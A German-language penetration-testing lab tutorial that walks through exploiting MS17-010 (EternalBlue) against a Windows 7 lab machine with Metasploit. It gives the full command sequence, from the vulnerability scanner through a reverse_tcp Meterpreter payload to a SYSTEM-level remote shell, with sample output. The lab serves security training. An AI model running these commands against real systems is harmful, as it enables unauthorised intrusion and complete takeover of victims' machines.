Exploit MS17-010 EternalBlue auf einem Windows 7 Ziel in Metasploit

Kali LinuxBeginner
Jetzt üben

Einleitung

MS17-010, öffentlich bekannt als EternalBlue, ist eine kritische Schwachstelle in Microsofts Implementierung des Server Message Block (SMB) Protokolls. Diese Schwachstelle ermöglicht es entfernten Angreifern, beliebigen Code auf betroffenen Systemen auszuführen. Das Metasploit Framework ist ein leistungsstarkes Open-Source-Tool zur Entwicklung, zum Testen und zur Ausführung von Exploit-Code.

In diesem Lab übernehmen Sie die Rolle eines Penetration Testers. Sie werden das Metasploit Framework verwenden, um zunächst eine anfällige Windows 7 Maschine im Netzwerk mithilfe eines Scanner-Moduls zu identifizieren. Anschließend konfigurieren und starten Sie den EternalBlue Exploit gegen das Ziel, um die vollständige Fernsteuerung über eine Meterpreter-Sitzung zu erlangen. Diese praktische Erfahrung wird die realen Auswirkungen ungepatchter Schwachstellen demonstrieren.

Zu diesem Zweck des Labs ist eine anfällige Windows 7 Maschine im Netzwerk unter der IP-Adresse 192.168.1.101 vorhanden.

Verwenden des Scanners auxiliary/scanner/smb/smb_ms17_010 zum Finden von Zielen

In diesem Schritt starten Sie zunächst die Metasploit-Konsole und verwenden ein spezialisiertes Scanner-Modul, um zu bestätigen, dass unser Ziel anfällig für MS17-010 ist. Dies ist eine entscheidende Aufklärungsphase bei jedem Penetrationstest.

Öffnen Sie zuerst ein Terminal und starten Sie die Metasploit Framework-Konsole, indem Sie den Befehl msfconsole ausführen. Das Laden kann einen Moment dauern.

msfconsole

Sobald die Konsole geladen ist, sehen Sie die Metasploit-Eingabeaufforderung (msf6 >). Verwenden Sie nun den Befehl use, um das MS17-010 Scanner-Modul auszuwählen.

use auxiliary/scanner/smb/smb_ms17_010

Als Nächstes müssen Sie dem Scanner mitteilen, welche Hosts überprüft werden sollen. Zeigen Sie die verfügbaren Optionen für dieses Modul mit dem Befehl show options an.

show options

Sie sehen eine Liste von Optionen. Die Option RHOSTS ist erforderlich und gibt den/die Remote-Host(s) an, der/die gescannt werden soll(en). Setzen Sie diese auf die IP-Adresse unserer Ziel-Windows-7-Maschine.

set RHOSTS 192.168.1.101

Nachdem das Ziel festgelegt wurde, führen Sie den Scanner aus, indem Sie run eingeben.

run

Metasploit scannt nun das Ziel. Wenn der Host anfällig ist, sehen Sie eine Bestätigungsnachricht in der Ausgabe.

[+] 192.168.1.101:445   - Host is likely VULNERABLE to MS17-010! (OS: Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Diese Ausgabe bestätigt, dass das Ziel unter 192.168.1.101 anfällig ist und ein guter Kandidat für unseren Exploit.

Auswählen des Exploits exploit/windows/smb/ms17_010_eternalblue

In diesem Schritt, nachdem das Ziel als anfällig bestätigt wurde, wählen Sie das entsprechende Exploit-Modul in Metasploit aus. Das Modul ms17_010_eternalblue ist dafür konzipiert, diese spezifische Schwachstelle auszunutzen.

Innerhalb der Metasploit-Konsole verwenden Sie erneut den Befehl use, diesmal jedoch, um das Exploit-Modul zu laden.

use exploit/windows/smb/ms17_010_eternalblue

Nachdem Sie den Befehl ausgeführt haben, werden Sie feststellen, dass sich Ihre Eingabeaufforderung ändert, um den Kontext des neu ausgewählten Exploit-Moduls widerzuspiegeln. Dies zeigt an, dass Sie sich nun im Konfigurationsbereich für den EternalBlue Exploit befinden.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Dieses Modul enthält den Code, der an die Zielmaschine gesendet wird, um die SMB-Schwachstelle auszunutzen und Ihnen die Ausführung weiterer Befehle zu ermöglichen.

Festlegen der RHOSTS-Option auf das anfällige Windows 7-Ziel

In diesem Schritt konfigurieren Sie das Exploit-Modul so, dass es auf die spezifische IP-Adresse der anfälligen Maschine abzielt. Während der Scanner einen Bereich von IPs überprüfen konnte, muss der Exploit auf ein einzelnes, bestätigtes Ziel gerichtet werden.

Genau wie beim Scanner-Modul können Sie die Konfigurationsoptionen für den Exploit mit dem Befehl show options anzeigen.

show options

Sie werden sehen, dass dieses Modul ebenfalls eine Option namens RHOSTS hat, was für "Remote Hosts" steht. Sie ist derzeit leer. Sie müssen diese auf die IP-Adresse Ihres Windows 7-Ziels setzen, die Sie im ersten Schritt bestätigt haben.

Verwenden Sie den Befehl set, um die IP-Adresse 192.168.1.101 der Option RHOSTS zuzuweisen.

set RHOSTS 192.168.1.101

Metasploit wird die Änderung bestätigen.

RHOSTS => 192.168.1.101

Nun weiß der Exploit genau, wohin der Angriff gerichtet werden soll.

Festlegen des Payloads windows/x64/meterpreter/reverse_tcp

In diesem Schritt wählen Sie einen Payload aus. Ein Payload ist der Code, der auf dem Zielsystem ausgeführt wird, nachdem der Exploit es erfolgreich kompromittiert hat. Für dieses Lab verwenden Sie Meterpreter, einen fortschrittlichen, dynamisch erweiterbaren Payload.

Der Payload windows/x64/meterpreter/reverse_tcp ist eine ausgezeichnete Wahl. Er erstellt eine Verbindung vom Zielsystem zurück zu Ihnen (eine "Reverse"-Shell), was oft erfolgreich Firewalls umgeht. Er ist auch für 64-Bit-Windows-Systeme konzipiert.

Verwenden Sie den Befehl set payload, um ihn auszuwählen.

set payload windows/x64/meterpreter/reverse_tcp

Metasploit wird bestätigen, dass der Payload gesetzt wurde.

payload => windows/x64/meterpreter/reverse_tcp

Obwohl Metasploit oft einen Standard-Payload auswählt, stellt die explizite Festlegung sicher, dass Sie den für Ihr Ziel am besten geeigneten verwenden. Sie können show options erneut ausführen, um die Optionen sowohl für den Exploit als auch für den Payload anzuzeigen. Sie werden neue Optionen wie LHOST (Listening Host) und LPORT (Listening Port) bemerken, die Metasploit normalerweise automatisch auf die IP-Adresse Ihres Rechners konfiguriert.

Ausführen des Exploits und Herstellen einer Meterpreter-Sitzung

In diesem Schritt, nachdem alle Optionen konfiguriert wurden, starten Sie den Exploit und übernehmen die Kontrolle über die Zielmaschine.

Die gesamte Vorbereitung ist abgeschlossen. Der Exploit ist ausgewählt, das Ziel ist gesetzt und der Payload ist gewählt. Um den Angriff zu starten, verwenden Sie einfach den Befehl exploit.

exploit

Metasploit wird nun versuchen, die Schwachstelle auf dem Ziel auszunutzen. Sie sehen mehrere Statusmeldungen, während es arbeitet. Wenn erfolgreich, liefert der Exploit den Meterpreter-Payload aus, und Sie sehen eine Meldung, die "WIN!" anzeigt und dass eine neue Sitzung geöffnet wurde.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
...
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49157) at 2023-10-27 10:30:00 -0400

meterpreter >

Die Eingabeaufforderung meterpreter > bedeutet Erfolg! Sie haben nun eine Remote-Shell auf der Opfermaschine. Um Ihre Kontrolle zu beweisen, führen Sie den Befehl getuid aus, um zu sehen, unter welchem Benutzerkonto Sie laufen.

getuid

Die Ausgabe sollte lauten:

Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM ist die höchste Berechtigungsstufe auf einem Windows-System. Sie haben das Ziel erfolgreich kompromittiert. Sie können auch sysinfo ausführen, um Systeminformationen zu erhalten.

sysinfo
Computer        : WIN7-VICTIM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

Herzlichen Glückwunsch, Sie haben MS17-010 erfolgreich ausgenutzt.

Zusammenfassung

In diesem Lab haben Sie praktische Erfahrungen mit einer der bekanntesten Schwachstellen mithilfe des Metasploit Frameworks gesammelt.

Sie haben erfolgreich:

  • Ein Hilfsscanner-Modul verwendet, um einen Host zu identifizieren, der für MS17-010 anfällig ist.
  • Das Exploit-Modul ms17_010_eternalblue ausgewählt und konfiguriert.
  • Einen leistungsstarken meterpreter-Payload gesetzt, um eine Remote-Verbindung herzustellen.
  • Den Exploit ausgeführt und eine Meterpreter-Sitzung auf SYSTEM-Ebene auf der Zielmaschine Windows 7 erhalten.

Diese Übung unterstreicht die kritische Bedeutung zeitnaher Sicherheitsupdates für Betriebssysteme. Eine einzige, ungepatchte Schwachstelle kann ausreichen, damit ein Angreifer die vollständige Kontrolle über ein System erlangt.